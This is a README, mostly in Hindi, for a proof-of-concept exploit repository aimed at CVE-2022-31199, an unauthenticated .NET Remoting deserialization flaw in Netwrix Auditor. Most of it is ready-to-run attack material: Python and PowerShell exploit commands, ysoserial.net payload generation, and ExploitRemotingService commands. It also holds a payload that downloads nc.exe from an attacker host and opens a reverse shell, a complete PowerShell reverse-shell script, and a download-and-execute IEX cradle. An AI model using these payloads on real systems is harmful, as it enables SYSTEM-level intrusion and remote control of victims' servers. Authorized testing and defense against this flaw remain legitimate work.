# CVE-2022-31199 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट Netwrix Auditor में एक गंभीर .NET डिसीरियलाइज़ेशन RCE भेद्यता। इसमें Python और PowerShell स्क्रिप्ट, ysoserial.net के साथ पेलोड जनरेशन, और अधिकृत सुरक्षा परीक्षण के लिए डिटेक्शन सिग्नेचर शामिल हैं।
CVE-2022-31199 Netwrix Auditor के 10.5 से पहले के संस्करणों में एक गंभीर असुरक्षित ऑब्जेक्ट डी-सीरियलाइज़ेशन भेद्यता है। यह भेद्यता TCP पोर्ट 9004 पर सुनने वाली एक असुरक्षित .NET Remoting सेवा में मौजूद है, जो अनप्रमाणित दूरस्थ हमलावरों को NT AUTHORITY\SYSTEM विशेषाधिकारों के साथ मनमाना कोड निष्पादन प्राप्त करने की अनुमति देती है।
यह भेद्यता वास्तविक दुनिया में सक्रिय रूप से शोषित की जा चुकी है:
सफल शोषण आमतौर पर निम्न की ओर ले जाता है:
इस रिपॉजिटरी में CVE-2022-31199 के लिए पूर्ण प्रूफ-ऑफ-कॉन्सेप्ट (POC) शोषण शामिल हैं:
exploit.py - Python-आधारित शोषण फ्रेमवर्कexploit.ps1 - PowerShell शोषण स्क्रिप्टREADME.md - यह दस्तावेज़manual-exploitation.md - चरण-दर-चरण मैनुअल शोषण गाइडysoserial.net - .NET डी-सीरियलाइज़ेशन पेलोड जनरेटर
ExploitRemotingService - .NET Remoting शोषण उपकरण
python3 exploit.py --target 192.168.1.100 --check
.\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Using ysoserial.net
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "whoami"
python3 exploit.py --target 192.168.1.100 --payload [BASE64_PAYLOAD]
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
exploit.py)python3 exploit.py --target 10.10.10.100 --check
# Step 1: Generate payload
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c whoami > C:\temp\output.txt"
# Step 2: Execute exploit
python3 exploit.py --target 10.10.10.100 --payload AAEAAAD....[base64_payload]
# Custom port
python3 exploit.py --target 10.10.10.100 --port 9004 --check
# Custom endpoint
python3 exploit.py --target 10.10.10.100 --endpoint UAVRServer --check
--target : Target IP address or hostname (required)
--port : Target port (default: 9004)
--endpoint : .NET Remoting endpoint name (default: UAVRServer)
--check : Only check vulnerability, don't exploit
--payload : Base64 encoded payload from ysoserial.net
exploit.ps1).\exploit.ps1 -Target 192.168.1.100 -CheckOnly
# Simple command execution
.\exploit.ps1 -Target 192.168.1.100 -Command "whoami"
# Write output to file
.\exploit.ps1 -Target 192.168.1.100 -Command "cmd /c whoami > C:\temp\out.txt"
# Custom port
.\exploit.ps1 -Target 192.168.1.100 -Port 9004 -Command "hostname"
-Target : Target IP address or hostname (required)
-Port : Target port (default: 9004)
-Command : Command to execute on target (default: "whoami")
-CheckOnly : Only check vulnerability, don't exploit
# Check system information
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "cmd /c systeminfo > C:\temp\sysinfo.txt"
nc -lvnp 4444
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell -c curl http://ATTACKER_IP/nc.exe -o C:\temp\nc.exe; C:\temp\nc.exe ATTACKER_IP 4444 -e cmd.exe"
$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
python3 -m http.server 8000
ysoserial.exe -f BinaryFormatter -o base64 -g TypeConfuseDelegate -c "powershell IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER_IP:8000/rev.ps1')"
# Test connectivity
ExploitRemotingService.exe tcp://192.168.1.100:9004/UAVRServer ver
# Execute with lease mode (bypasses some protections)
ExploitRemotingService.exe -uselease tcp://192.168.1.100:9004/UAVRServer ls C:\
# Execute with object reference
ExploitRemotingService.exe -useobjref tcp://192.168.1.100:9004/UAVRServer exec "whoami"
यह भेद्यता निम्न से उत्पन्न होती है:
1. Attacker connects to TCP port 9004
2. Identifies .NET Remoting service (UAVRServer endpoint)
3. Generates malicious serialized payload using ysoserial.net
4. Sends payload via .NET Remoting protocol
5. Target deserializes object using BinaryFormatter
6. Gadget chain executes arbitrary code
7. Code runs with NT AUTHORITY\SYSTEM privileges
निम्नलिखित ysoserial.net गैजेट इस भेद्यता के विरुद्ध काम करते हैं:
.NET Remoting Protocol Structure:
┌─────────────────────────────────────┐
│ Preamble (8 bytes) │
│ 0x00 0x01 0x00 0x00 0x01 0x00 0x00 │
├─────────────────────────────────────┤
│ Headers │
├─────────────────────────────────────┤
│ URI (UAVRServer) │
├─────────────────────────────────────┤
│ Serialized Object (BinaryFormatter) │
└─────────────────────────────────────┘